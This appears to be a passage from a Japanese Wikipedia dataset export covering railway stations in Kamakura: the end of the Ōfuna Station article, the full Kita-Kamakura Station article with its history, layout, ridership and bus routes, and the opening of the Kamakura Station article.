|style="text-align:center;"|江ノ電バス
|{{Unbulleted list|[[江ノ電バス鎌倉営業所#戸塚線|'''T4''']]:[[戸塚駅]]|[[江ノ電バス鎌倉営業所#ひかりが丘循環線|'''N8''']]:ひかりが丘循環・ひかりが丘西}}
|
|-
!3
|rowspan="2" style="text-align:center;"|神奈川中央交通
|{{Unbulleted list|[[神奈川中央交通横浜営業所#大船駅 - 公田団地方面|'''船13''']]:天神橋循環|[[神奈川中央交通横浜営業所#大船駅 - 湘南ハイツ方面|'''船14''']]:湘南ハイツ|'''船24''':湘南ハイツ循環・公田ハイツ|'''船16''':[[神奈川中央交通横浜営業所|本郷車庫]]|'''船17''':公田団地|'''船91(深夜)''':上郷ネオポリス}}
|{{Unbulleted list|「船13」は土曜1本のみ運行|「船14」は朝のみ運行|「船16」は夜のみ運行}}
|-
!4
|{{Unbulleted list|[[神奈川中央交通横浜営業所#大船駅 - 本郷車庫・金沢八景駅方面|'''船07''']]:栄プール|'''船08''':[[金沢八景駅]]|'''船09''':みどりヶ丘東|'''船15''':本郷車庫}}
|「船07」は午前中1本のみ運行
|-
!こすずめ号
|style="text-align:center;"|共同
|'''こすずめ号''':小雀地区循環・山谷下
|
|}
=== 西口 ===
<!--バス路線の記述は、[[プロジェクト:鉄道#バス路線の記述法]]に基づき、必要最小限の情報に留めています。特に経由地については、[[プロジェクト:鉄道#バス路線の記述法]]の観点から、記載しないでください。-->
「大船駅西口」停留所にて、以下の路線が発着する。[[柏尾川]]の対岸にある、2011年10月1日に供用開始した交通広場に乗り場がある<ref name=":0">{{Cite web|和書|title=10 月 1 日から大船駅西口交通広場 (バス乗車場)の利用を開始します。 |url=https://www.city.kamakura.kanagawa.jp/of-jimusho/documents/jyoushajyou.pdf |website=鎌倉市 |access-date=2022-05-10}}</ref>。それまでは[[神奈川県道402号阿久和鎌倉線|県道402号]]上にバス停が設置されていた<ref name=":0" />。
{| class="wikitable" style="font-size:80%;"
!のりば!!運行事業者!!系統・行先!!備考
|-
!1
|rowspan="7" style="text-align:center;"|神奈川中央交通
|{{Unbulleted list|[[神奈川中央交通東・藤沢営業所#大船駅 - 柄沢 - 藤沢駅方面|'''船31''']]:[[慈眼寺 (藤沢市)|慈眼寺]]|'''船32''':藤沢駅北口|[[神奈川中央交通東・藤沢営業所#大船駅 - 城廻中村循環|'''船101''']]:城廻中村循環|'''船102''':城廻中村}}
|{{Unbulleted list|「船31」は平日夕方のみ運行|「船102」は午後のみ運行}}
|-
!2
|{{Unbulleted list|'''船33''':藤沢駅北口|[[神奈川中央交通東・藤沢営業所#大船駅 - 南岡本方面|'''船34''']]:南[[岡本 (鎌倉市)|岡本]]}}
|
|-
!3
|{{Unbulleted list|[[神奈川中央交通東・藤沢営業所#大船駅 - 清泉女学院方面|'''船35''']]:[[清泉女学院中学高等学校|清泉女学院]]|'''船36''':(直行)清泉女学院}}
|「船36」は土曜午前のみ運行。休校日運休
|-
!4
|{{Unbulleted list|[[神奈川中央交通戸塚営業所#戸塚バスセンター - 金井 - 大船駅方面|'''戸71'''・'''戸72''']]:戸塚バスセンター|'''船48''':(急行・スクールバス)[[公文国際学園中等部・高等部|公文国際学園]]|'''船37''':清泉女学院|[[神奈川中央交通東・藤沢営業所#大船駅 -(国道1号)- 藤沢駅方面|'''船65''']]:藤沢駅北口}}
|{{Unbulleted list|「戸71」は平日日中以外・土休日夕夜のみ運行|「戸72」は夕夜以外運行|「船48」は3番のりばと4番のりばの間から発車|「船65」は平日朝のみ運行}}
|-
!5
|{{Unbulleted list|[[神奈川中央交通戸塚営業所#大船駅西口 - 横浜医療センター - 俣野公園・横浜薬大前 - 立場方面|'''船21'''・'''船22''']]:[[立場駅|立場ターミナル]]|'''船24''':俣野公園・横浜薬大|'''船25''':[[横浜ドリームランド#ドリームハイツ|ドリームハイツ]]}}
|{{Unbulleted list|「船21」は平日朝のみ運行|「船24」は平日朝夕のみ運行}}
|-
!6
|'''船27''':[[住友電気工業|住友電工]]循環
|平日朝夕のみ運行。朝は左回り。夕は右回り
|}
== 隣の駅 ==
<!-- 特急やホームライナーは列車記事へのリンクのみとしてください -->
; 東日本旅客鉄道(JR東日本)
: [[File:JR JT line symbol.svg|15px|JT]] 東海道線
:* 特急「[[踊り子 (列車)|踊り子]]」「[[湘南 (列車)|湘南]]」一部停車駅(「サフィール踊り子」は通過、新宿発着の「湘南」は経由せず)
::{{Color|#18a629|■}}普通
::: [[戸塚駅]] (JT 06) - '''大船駅 (JT 07)''' - [[藤沢駅]] (JT 08)
: [[File:JR JO line symbol.svg|15px|JO]] 横須賀線(東京駅 - 当駅間は線籍上は東海道本線)
:* 特急「[[成田エクスプレス]]」発着駅
:: {{Color|#18a629|■}}普通
::: 戸塚駅 (JO 10) - '''大船駅 (JO 09)''' - [[北鎌倉駅]] (JO 08)
: [[File:JR JS line symbol.svg|15px|JS]] 湘南新宿ライン
:: {{Color|#0099ff|■}}特別快速・{{Color|#f68b1e|■}}快速(いずれも東海道線 - 高崎線直通)
::: 戸塚駅 (JS 10) - '''大船駅 (JS 09)''' - 藤沢駅 (JT 08)
:: {{Color|#18a629|■}}普通(横須賀線 - 宇都宮線直通)
::: 戸塚駅 (JS 10) - '''大船駅 (JS 09)''' - 北鎌倉駅 (JS 08)
: [[File:JR JK line symbol.svg|15px|JK]] 根岸線
:: {{Color|#ff0066|■}}快速・{{Color|#00b2e5|■}}各駅停車
::: [[本郷台駅]] (JK 02) - '''大船駅 (JK 01)'''
: 東海道貨物線
::: [[横浜羽沢駅]] - ([[東戸塚駅]]) - '''大船駅''' - 藤沢駅
; 湘南モノレール
: {{Color|red|■}}江の島線
::: '''大船駅(SMR1)''' - [[富士見町駅 (神奈川県)|富士見町駅]](SMR2)
=== 過去に存在していた鉄道路線 ===
; [[ドリーム開発]]
: [[ドリーム開発ドリームランド線]]
::: '''大船駅''' - ([[小雀信号所]]) - [[ドリームランド駅]]
== 脚注 ==
{{脚注ヘルプ}}
=== 記事本文 ===
<!--==== 注釈 ====
{{Reflist|group="注釈"}}
==== 出典 ====-->
{{Reflist|2}}
=== 利用状況 ===
; JR・私鉄の1日平均利用客数
{{Reflist|group="利用客数"}}
; JR東日本の1999年度以降の乗車人員
{{Reflist|group="JR"|22em}}
; JR・私鉄の統計データ
{{Reflist|group="乗降データ"}}
; 神奈川県県勢要覧
{{Reflist|group="神奈川県統計"|16em}}
== 関連項目 ==
{{Commonscat|Ōfuna Station}}
* [[日本の鉄道駅一覧]]
* [[鎌倉車両センター]]
* [[東日本旅客鉄道大船工場]]
* [[江ノ島電鉄]]
* [[砂押川 (神奈川県)|砂押川]] - 大船駅の地下も流れる川
* [[大船 (曖昧さ回避)]]
*[[鎌倉 (列車)]]
== 外部リンク ==
* {{外部リンク/JR東日本駅|filename=342|name=大船}}
* [https://www.shonan-monorail.co.jp/station/detail/ofuna.html 大船(湘南モノレール駅情報)]
* [https://www.lumine.ne.jp/luminewing/ 大船ルミネウィング]
* [http://senrohaisenzu.cocolog-nifty.com/blog/2010/02/post-8f03.html 懐かしい駅の風景~線路配線図とともに/大船配線図]
{{鉄道路線ヘッダー}}
{{東海道本線 (JR東日本)}}
{{総武快速線・横須賀線}}
{{湘南新宿ライン}}
{{京浜東北・根岸線}}
{{東海道貨物線}}
{{湘南モノレール江の島線}}
{{ドリーム開発ドリームランド線}}
{{鉄道路線フッター}}
{{DEFAULTSORT:おおふな}}
[[Category:鎌倉市の鉄道駅]]
[[Category:日本の鉄道駅 お|おふな]]
[[Category:東日本旅客鉄道の鉄道駅]]
[[Category:日本国有鉄道の鉄道駅]]
[[Category:東海道線 (JR東日本)]]
[[Category:京浜東北・根岸線]]
[[Category:横須賀・総武快速線]]
[[Category:湘南モノレールの鉄道駅]]
[[Category:1888年開業の鉄道駅]] | 2003-04-15T22:03:51Z | 2023-11-17T23:45:54Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E5%A4%A7%E8%88%B9%E9%A7%85 |
6,783 | 北鎌倉駅 | 北鎌倉駅(きたかまくらえき)は、神奈川県鎌倉市山ノ内にある、東日本旅客鉄道(JR東日本)横須賀線の駅である。
東京駅経由の総武快速線直通列車のほか、新宿駅経由で宇都宮線に直通する湘南新宿ラインも停車する。かつては、一部の成田エクスプレスが繁忙期の休日日中を中心に横須賀駅まで延長され、当駅にも停車していた(2017年1月まで。)
また当駅には、各路線ごとに駅番号が与えられている。
JR東日本ステーションサービスが駅管理を受託している鎌倉駅管理の業務委託駅。みどりの窓口は2018年5月31日に営業を終了し、代わりに同年6月16日に指定席券売機が設置されている。
相対式ホーム2面2線を有する地上駅。上りホームの鎌倉方端に駅舎があり、下りホームに移るには構内踏切を渡らなければならない。この踏切の遮断機は長い間駅係員が手作業で遮断桿を操作していたが、のちに自動化された。
改札口は3か所あり、駅舎にある西口、下りホームの鎌倉方にある東口、下りホームの中程にある時間限定の臨時口がそれぞれ別に設けられている。
西口には自動券売機や自動改札機が設置されており、入場・出場とも可能である。
東口には簡易Suica改札機や駅員のいる精算所が設けられているが、乗車券の発売は行われていない。このため出場は可能だが、入場については有効な乗車券を持っている場合、ICカード等で乗車する場合のみ可能となっている。
臨時口には簡易Suica改札機のほかに乗車駅証明書発行機が設けられているため、入場・出場ともに可能である。開設時間中は駅員が常駐し、集改札を行っている。かつては平日朝の通学時間帯とゴールデンウィークなどの休日の最混雑時に限って出場のみ利用できたが、隣接する道路の通行止めによる不便の解消のために2017年4月から正式な改札となり入場もできるようになった。
構内に階段が多いことからバリアフリー化が計画された。このうち、構内階段部へのエレベータ新設、下りホーム久里浜方の階段をスロープ化し大船方へ7メートル延伸、多機能トイレ設置等を行うなどのバリアフリー化計画に基づく工事は2014年3月末に完成した。
(出典:JR東日本:駅構内図)
2022年(令和4年)度の1日平均乗車人員は7,942人である。
近年の1日平均乗車人員は下表の通りである。
緑に包まれた山の谷間にある円覚寺の境内に位置し、静かな住宅地に囲まれている。駅前には小さな商店街があり、観光客向けのレストランなどもある。
駅前の県道にある北鎌倉が最寄りバス停。全路線江ノ電バスが担当する。 | [
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| 北鎌倉駅(きたかまくらえき)は、神奈川県鎌倉市山ノ内にある、東日本旅客鉄道(JR東日本)横須賀線の駅である。 | {{駅情報
|社色 = green
|文字色 =
|駅名 = 北鎌倉駅
|画像 = JR_Kita_Kamaura_sta_001.jpg
|pxl = 300
|画像説明 = 西口(2018年1月)
|地図= {{Infobox mapframe|zoom=15|frame-width=300|type=point|marker=rail|coord={{coord|35|20|14|N|139|32|42.5|E}}}}
|よみがな = きたかまくら
|ローマ字 = Kita-Kamakura
|副駅名 =
|前の駅 = JO 09 JS 09 [[大船駅|大船]]
|駅間A = 2.3
|駅間B = 2.2
|次の駅 = [[鎌倉駅|鎌倉]] JO 07 JS 07
|電報略号 = キラ
|駅番号 = {{駅番号r|JO|08|#0067c0|1}}<br />{{駅番号r|JS|08|#e21f26|1}}
|所属事業者 = [[東日本旅客鉄道]](JR東日本)
|所属路線 = {{color|#0067c0|■}}[[横須賀線]]<br />{{Color|#f68b1e|■}}{{color|#0067c0|■}}[[湘南新宿ライン]]([[宇都宮線]]直通)
|キロ程 = 2.3 km([[大船駅|大船]]起点)<br />[[東京駅|東京]]から[[品鶴線]]経由で51.7
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|所在地 = [[神奈川県]][[鎌倉市]][[山ノ内 (鎌倉市)|山ノ内]]501
|座標 = {{coord|35|20|14|N|139|32|42.5|E|region:JP-14_type:railwaystation|display=inline,title}}
|駅構造 = [[地上駅]]
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|廃止年月日 =
|乗車人員 = 7,942
|統計年度 = 2021年
|乗換 =
|備考 = [[日本の鉄道駅#業務委託駅|業務委託駅]]<ref name="名前なし-1">[https://www.je-ss.co.jp/pdf/jess_service_area.pdf 事業エリアマップ] - JR東日本ステーションサービス.2021年9月14日閲覧</ref><ref name="2018-03-23"/>
}}
'''北鎌倉駅'''(きたかまくらえき)は、[[神奈川県]][[鎌倉市]][[山ノ内 (鎌倉市)|山ノ内]]にある、[[東日本旅客鉄道]](JR東日本)[[横須賀線]]の[[鉄道駅|駅]]である。
== 乗り入れ路線 ==
[[東京駅]]経由の[[総武快速線]]直通列車のほか、[[新宿駅]]経由で[[宇都宮線]]に直通する[[湘南新宿ライン]]も停車する。かつては、一部の[[成田エクスプレス]]が繁忙期の休日日中を中心に[[横須賀駅]]まで延長され、当駅にも停車していた(2017年1月まで。)
また当駅には、各路線ごとに[[駅ナンバリング#JR東日本・東京モノレール・東京臨海高速鉄道|駅番号]]が与えられている。
* [[File:JR JO line symbol.svg|15px|JO]] 横須賀線:東海道本線([[品鶴線]]経由)を経て、下り列車は大船駅より線路名称上の[[横須賀線]]を走る。上り列車は多くの列車が東京駅を経由し、総武快速線へ直通する。 - 駅番号「'''JO 08'''」
* [[File:JR JS line symbol.svg|15px|JS]] 湘南新宿ライン:東海道本線(品鶴線経由)を経て、[[西大井駅]]まで横須賀線と同一の線路を使用し、[[新宿駅]]経由で宇都宮線へ直通する。 - 駅番号「'''JS 08'''」
== 歴史 ==
* [[1927年]]([[昭和]]2年)[[5月20日]]:[[鎌倉郡]][[大船町|小坂村]]に[[日本国有鉄道|国鉄]][[横須賀線]]の[[北鎌倉]][[臨時駅|仮停車場]]として開業。付近住民の請願により設置。5月 - 10月のみ営業。
* [[1930年]](昭和5年)[[10月1日]]:駅へ昇格し、北鎌倉駅が開業。この頃に現在の駅舎を建設した。
* [[1933年]](昭和8年)[[2月11日]]:小坂村が町制施行し、[[大船町]]へ改称する。
* [[1948年]](昭和23年)[[6月1日]]:[[鎌倉市]]へ編入される。
* [[1987年]](昭和62年)[[4月1日]]:[[国鉄分割民営化]]により、東日本旅客鉄道の駅となる。
* [[1995年]]([[平成]]7年)[[3月1日]]:自動改札機を設置し、供用開始<ref>{{Cite book|和書 |date=1995-07-01 |title=JR気動車客車編成表 '95年版 |chapter=JR年表 |page=187 |publisher=ジェー・アール・アール |ISBN=4-88283-116-3}}</ref>。
* [[1997年]](平成9年):[[関東の駅百選]]に選定。選定理由は「古都鎌倉にふさわしく、静かで素朴な駅」。
* [[2001年]](平成13年)
** [[3月28日]]:天皇・皇后およびノルウェー国王夫妻の神奈川県訪問に伴う1号御料車編成の[[お召し列車]]が、東京駅から東海道本線経由で当駅間に運転される(片道のみ)。EF58 61 牽引<ref>交友社『鉄道ファン』2007年1月号より。</ref>。
** [[11月18日]]:[[ICカード]]「[[Suica]]」供用開始。
** [[12月1日]]:[[湘南新宿ライン]]運行開始。
* [[2014年]](平成26年)[[3月15日]]:横浜駅・大船駅発着の「[[成田エクスプレス]]」の一部列車が、横須賀駅まで臨時列車として繁忙期の土日祝のみ延長運転を開始。当駅が停車駅となる。
* [[2017年]](平成29年)[[1月]]:成田エクスプレスの延長運行が休止。
* [[2018年]](平成30年)
** [[5月31日]]:[[みどりの窓口]]の営業を終了<ref name="close-window">{{Cite web|和書|url=http://www.jreast.co.jp/estation/station/info.aspx?StationCd=563|title=駅の情報(北鎌倉駅):JR東日本|accessdate=2018-05-04|publisher=東日本旅客鉄道|language=ja|archiveurl=https://web.archive.org/web/20180504225331/https://www.jreast.co.jp/estation/station/info.aspx?StationCd=563|archivedate=2018-05-04}}</ref>。
** [[7月1日]]:業務委託化<ref name="2018-03-23">{{Cite web|和書|url=http://jrtu-east.org/pdf/yokohama-j274.pdf|title=No.274号 東日本ユニオンよこはま 駅業務執行体制の再構築等について提案を受ける|format=PDF|publisher=JR東日本労働組合横浜地方本部|date=2018-03-23|accessdate=2018-07-01|archiveurl=https://web.archive.org/web/20180630213907/http://jrtu-east.org/pdf/yokohama-j274.pdf|archivedate=2018-06-30}}</ref>。
== 駅構造 ==
[[JR東日本ステーションサービス]]が駅管理を受託している[[鎌倉駅]]管理の[[日本の鉄道駅#業務委託駅|業務委託駅]]<ref name="名前なし-1"/><ref name="2018-03-23"/>。[[みどりの窓口]]は[[2018年]][[5月31日]]に営業を終了し、代わりに同年[[6月16日]]に指定席券売機が設置されている<ref name="close-window" />。
[[相対式ホーム]]2面2線を有する[[地上駅]]。上りホームの鎌倉方端に駅舎があり、下りホームに移るには[[踏切#構内踏切|構内踏切]]を渡らなければならない。この踏切の遮断機は長い間駅係員が手作業で遮断桿を操作していたが、のちに自動化された。
改札口は3か所あり、駅舎にある'''西口'''、下りホームの鎌倉方にある'''東口'''、下りホームの中程にある時間限定の'''臨時口'''がそれぞれ別に設けられている。
西口には自動券売機や[[自動改札機]]が設置されており、入場・出場とも可能である。
東口には簡易[[Suica]]改札機や駅員のいる精算所が設けられているが、乗車券の発売は行われていない。このため出場は可能だが、入場については有効な乗車券を持っている場合、ICカード等で乗車する場合のみ可能となっている。
臨時口には簡易Suica改札機のほかに乗車駅証明書発行機が設けられているため、入場・出場ともに可能である。開設時間中は駅員が常駐し、集改札を行っている。かつては平日朝の通学時間帯と[[ゴールデンウィーク]]などの休日の最混雑時に限って出場のみ利用できたが、隣接する道路の通行止めによる不便の解消のために2017年4月から正式な改札となり入場もできるようになった<ref>{{Cite web|和書|url=https://www.townnews.co.jp/0602/2017/04/07/377539.html|title=JR北鎌倉駅下りホームに臨時改札口 トンネル通行止め受け設置|publisher=タウンニュース|date=2017-04-07|accessdate=2022-07-13}}</ref><ref>{{Cite web|和書| url=https://www.city.kamakura.kanagawa.jp/douro/kitakakuraekirinnjikaisatuguti.html |title=鎌倉市/JR北鎌倉駅臨時改札口の開設について | accessdate=2022-08-19| date=2020-10-13|publisher=鎌倉市 <!-- |archiveurl=https://web.archive.org/web/20211019224447/https://www.city.kamakura.kanagawa.jp/douro/kitakakuraekirinnjikaisatuguti.html |archivedate=2021-10-19 --> }}</ref>。
構内に階段が多いことから[[バリアフリー]]化が計画された。このうち、構内階段部へのエレベータ新設<ref group="注釈">改札、構内踏切、上りホームの3階層に停止する。</ref>、下りホーム久里浜方の階段をスロープ化し大船方へ7メートル延伸、多機能トイレ設置等を行うなどのバリアフリー化計画に基づく工事は2014年3月末に完成した<ref name="NKGS2">[https://www.kitakama.ac.jp/news/article/1393.html 北鎌よもやま話No.214「かなり短いエレベーター」]</ref>。
=== のりば ===
{|class="wikitable"
!番線<!-- 事業者側による呼称 -->!!路線!!方向!!行先
|-
!rowspan=2|1
|[[File:JR JO line symbol.svg|15px|JO]] [[横須賀・総武快速線|横須賀・総武線(快速)]]
|style="text-align:center"|上り
|[[横浜駅|横浜]]・[[東京駅|東京]]・[[千葉駅|千葉]]方面
|-
|[[File:JR JS line symbol.svg|15px|JS]] [[湘南新宿ライン]]
|style="text-align:center"|北行
|[[渋谷駅|渋谷]]・[[新宿駅|新宿]]・[[大宮駅 (埼玉県)|大宮]]方面
|-
!2
|[[File:JR JO line symbol.svg|15px|JO]] 横須賀線
|style="text-align:center"|下り
|[[鎌倉駅|鎌倉]]・[[横須賀駅|横須賀]]・[[久里浜駅|久里浜]]方面
|}
(出典:[http://www.jreast.co.jp/estation/stations/563.html JR東日本:駅構内図])
<gallery>
JR_Kita_Kamaura_sta_003.jpg|東口
JR Yokosuka-Line Kita-Kamakura Station Permanent (West) Gates.jpg|西口改札
JR Yokosuka-Line Kita-Kamakura Station Temporary (East) Gates.jpg|東口改札
JR Yokosuka-Line Kita-Kamakura Station Temporary Gates.jpg|臨時口改札
JR Yokosuka-Line Kita-Kamakura Station Premises railroad crossing.jpg|構内踏切
JR Yokosuka-Line Kita-Kamakura Station Platform.jpg|ホーム
</gallery>
== 利用状況 ==
2022年(令和4年)度の1日平均[[乗降人員#乗車人員|'''乗車'''人員]]は'''7,942人'''である。
近年の1日平均'''乗車'''人員は下表の通りである。
{|class="wikitable" style="text-align:right; font-size:85%;"
|+年度別1日平均乗車人員<ref>[https://www.city.kamakura.kanagawa.jp/soumu/toukei/kamakuratoukei/top2/kamakuranotokeitop.html 鎌倉の統計] - 鎌倉市</ref><ref>[http://www.pref.kanagawa.jp/cnt/f160349/ 神奈川県県勢要覧]</ref>
!年度
!1日平均<br />乗車人員
|-
|1995年(平成{{0}}7年)
|<ref>{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/784899.pdf 線区別駅別乗車人員(1日平均)の推移]}} - 17ページ</ref>10,000
|-
|2000年(平成12年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2000_01.html 各駅の乗車人員(2000年度)] - JR東日本</ref>8,841
|-
|2001年(平成13年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2001_01.html 各駅の乗車人員(2001年度)] - JR東日本</ref>8,882
|-
|2002年(平成14年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2002_01.html 各駅の乗車人員(2002年度)] - JR東日本</ref>8,458
|-
|2003年(平成15年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2003_01.html 各駅の乗車人員(2003年度)] - JR東日本</ref>8,529
|-
|2004年(平成16年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2004_01.html 各駅の乗車人員(2004年度)] - JR東日本</ref>8,324
|-
|2005年(平成17年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2005_01.html 各駅の乗車人員(2005年度)] - JR東日本</ref>8,335
|-
|2006年(平成18年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2006_01.html 各駅の乗車人員(2006年度)] - JR東日本</ref>8,404
|-
|2007年(平成19年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2007_01.html 各駅の乗車人員(2007年度)] - JR東日本</ref>8,496
|-
|2008年(平成20年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2008_01.html 各駅の乗車人員(2008年度)] - JR東日本</ref>8,569
|-
|2009年(平成21年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2009_01.html 各駅の乗車人員(2009年度)] - JR東日本</ref>8,518
|-
|2010年(平成22年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2010_01.html 各駅の乗車人員(2010年度)] - JR東日本</ref>8,448
|-
|2011年(平成23年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2011_01.html 各駅の乗車人員(2011年度)] - JR東日本</ref>8,473
|-
|2012年(平成24年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2012_01.html 各駅の乗車人員(2012年度)] - JR東日本</ref>8,849
|-
|2013年(平成25年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2013_02.html 各駅の乗車人員(2013年度)] - JR東日本</ref>8,964
|-
|2014年(平成26年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2014_02.html 各駅の乗車人員(2014年度)] - JR東日本</ref>8,709
|-
|2015年(平成27年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2015_02.html 各駅の乗車人員(2015年度)] - JR東日本</ref>8,994
|-
|2016年(平成28年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2016_02.html 各駅の乗車人員(2016年度)] - JR東日本</ref>8,997
|-
|2017年(平成29年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2017_02.html 各駅の乗車人員(2017年度)] - JR東日本</ref>9,051
|-
|2018年(平成30年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2018_02.html 各駅の乗車人員(2018年度)] - JR東日本</ref>9,015
|-
|2019年(令和元年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2019_02.html 各駅の乗車人員(2019年度)] - JR東日本</ref>8,771
|-
|2020年(令和{{0}}2年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2020_03.html 各駅の乗車人員(2020年度)] - JR東日本</ref>6,351
|-
|2021年(令和{{0}}3年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2021_02.html 各駅の乗車人員(2021年度)] - JR東日本</ref>7,138
|-
|2022年(令和{{0}}4年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2022_02.html 各駅の乗車人員(2022年度)] - JR東日本</ref>7,942
|}
== 駅周辺 ==
[[画像:円覚寺正読院.JPG|thumb|円覚寺舎利殿(国宝)]]
緑に包まれた山の谷間にある円覚寺の境内に位置し、静かな住宅地に囲まれている。駅前には小さな[[商店街]]があり、観光客向けの[[レストラン]]などもある。
* [[禅宗]]の[[鎌倉五山]]を中心に多くの寺がある。
** [[円覚寺]] - 駅裏側に位置し、線路が[[境内]]を横切る。
** [[建長寺]] - [[けんちん汁]]発祥の寺
** [[明月院]] - 通称[[あじさい寺]]
** [[東慶寺]] - [[縁切り寺]]
* [[鎌倉学園中学校・高等学校]]
* [[北鎌倉女子学園中学校・高等学校]]
* 鎌倉小坂郵便局
* 葉祥明美術館
* 好好洞トンネル - 駅裏側の通称、洞門山に穿たれた中華風の赤い門が特徴の素掘りトンネル。
=== 道路 ===
* [[神奈川県道21号横浜鎌倉線]]
== バス路線 ==
<!--バス路線の記述は[[プロジェクト:鉄道#バス路線の記述法]]に基づき、必要最小限の情報に留めています。特に経由地については、[[プロジェクト:鉄道#バス路線の記述法]]の観点から、記載しないでください。-->
駅前の県道にある'''北鎌倉'''が最寄りバス停。全路線[[江ノ電バス]]が担当する。
* [[鎌倉駅]]方面(北鎌倉駅前交差点前)
** [[江ノ電バス鎌倉営業所#鎌倉 - 栄警察署前線|A21]]・[[江ノ電バス鎌倉営業所#本郷台線|K4]]・[[江ノ電バス鎌倉営業所#鎌倉 - 大船線|N2]]:鎌倉駅行
* [[大船駅]]方面
** A21:[[上大岡駅]]行 ※平日朝夜・土休日朝のみ
** N2:大船駅行
** K4:[[本郷台駅]]行 ※土休日朝1本
== 舞台になった作品 ==
* [[小津安二郎]]の[[映画]]『[[晩春 (映画)|晩春]]』([[1949年]]・[[松竹]])の最初のシ-ンで、北鎌倉駅の[[駅名標]]が写る<!--http://www7a.biglobe.ne.jp/~yatagarasu1999/geikoudou/newpage12.html-->。
* 小津安二郎の映画『[[麦秋 (1951年の映画)|麦秋]]』([[1951年]]・松竹)の舞台。小津は北鎌倉駅近くに住んでおり、墓は駅傍の円覚寺にある。
* [[1990年代]]半ばに放映されたJR東日本の[[コマーシャルメッセージ|CM]]で当駅が取り上げられ、『麦秋』の一部を再現した情景が用いられた。
* [[浜田省吾]]の楽曲「'''[[青空の扉 〜THE DOOR FOR THE BLUE SKY〜#収録曲|紫陽花のうた -HYDRANGEAS IN KITAKAMAKURA-]]'''」(アルバム『[[青空の扉 〜THE DOOR FOR THE BLUE SKY〜]]』収録)の[[歌詞]]に登場する。
* [[岡本正]]の楽曲「'''北鎌倉'''」は、駅から降りた周辺の施設を絡めて歌っている。
* 『[[顔で笑って]]』([[TBSテレビ|TBS]] / [[大映テレビ]]、[[1973年]] - 1974年)は[[鎌倉市]]の私立病院を舞台にしており、最寄り駅として北鎌倉駅が登場する。
* 『[[天空のエスカフローネ]]』([[1997年]] [[テレビ東京]]) - [[ヒロイン]]である神崎ひとみの実家がある駅として、[[国鉄113系電車|111系 - 113系電車]]と共に本駅が登場する。
* [[サザンオールスターズ]]の楽曲「北鎌倉の思い出」(アルバム『[[海のOh, Yeah!!]]』収録)は、歌詞は北鎌倉の情景が描かれている<ref>[https://m.crank-in.net/news/58775/1 『ビブリア古書堂の事件手帖』サザンが歌う主題歌入り予告映像到着] クランクイン 2018年9月10日閲覧</ref>。
*[[三上延]]の小説『[[ビブリア古書堂の事件手帖]]』に登場する「ビブリア古書堂」は北鎌倉駅の線路沿いにある設定。
== 隣の駅 ==
; 東日本旅客鉄道(JR東日本)
: [[File:JR JO line symbol.svg|15px|JO]] 横須賀線
:: [[大船駅]] (JO 09) - '''北鎌倉駅 (JO 08)''' - [[鎌倉駅]] (JO 07)
:* 特急「[[鎌倉 (列車)|鎌倉]]」停車駅
: [[File:JR JS line symbol.svg|15px|JS]] 湘南新宿ライン
:: 大船駅 (JS 09) - '''北鎌倉駅 (JS 08)''' - 鎌倉駅 (JS 07)
== 脚注 ==
{{脚注ヘルプ}}
=== 記事本文 ===
==== 注釈 ====
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==== 出典 ====
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=== 利用状況 ===
; JR東日本の2000年度以降の乗車人員
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== 関連項目 ==
{{commonscat|Kita-Kamakura Station}}
* [[日本の鉄道駅一覧]]
* [[山ノ内 (鎌倉市)|山ノ内]]
* [[ビブリア古書堂の事件手帖]]
== 外部リンク ==
* {{外部リンク/JR東日本駅|filename=563|name=北鎌倉}}
{{総武快速線・横須賀線}}
{{湘南新宿ライン_(宇都宮線・横須賀線)}}
{{関東の駅百選}}
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[[Category:鎌倉市の鉄道駅]]
[[Category:日本の鉄道駅 き|たかまくら]]
[[Category:東日本旅客鉄道の鉄道駅]]
[[Category:日本国有鉄道の鉄道駅]]
[[Category:横須賀・総武快速線]]
[[Category:1927年開業の鉄道駅]] | 2003-04-15T22:19:49Z | 2023-11-15T02:41:09Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E5%8C%97%E9%8E%8C%E5%80%89%E9%A7%85 |
6,784 | 鎌倉駅 | 鎌倉駅(かまくらえき)は、神奈川県鎌倉市小町一丁目および御成町にある、東日本旅客鉄道(JR東日本)・江ノ島電鉄の駅である。
JR東日本の各線(後述)と、江ノ島電鉄線の合計3路線が乗り入れる接続駅で、駅番号が付与されている。
JR東日本の駅は横須賀線の中間駅で、東京駅経由の総武快速線直通系統と新宿駅経由で宇都宮線に直通する湘南新宿ラインの列車が停車する。土曜・休日は臨時列車も停車する。かつては、一部の「成田エクスプレス」が繁忙期の休日日中を中心に横須賀駅まで延長され、当駅に停車していた(2017年1月まで。)
江ノ島電鉄の駅は江ノ島電鉄線の終着駅である。始発駅の誤解も多いが、始発は「EN01」の藤沢駅である。
島式ホーム1面2線を有する地上駅で、上下線共に留置線を1本ずつ有する。ホームは盛土の上に設けられ、改札口と江ノ電のりばは横須賀線ホームより低く位置し、改札口東西通路上の線路はガーター橋が使われている。かつて下り線に貨物側線もあったが、1970年代に撤去されて跡地は東急ストア側のトラックターミナルとなり、現在は駐車場である。
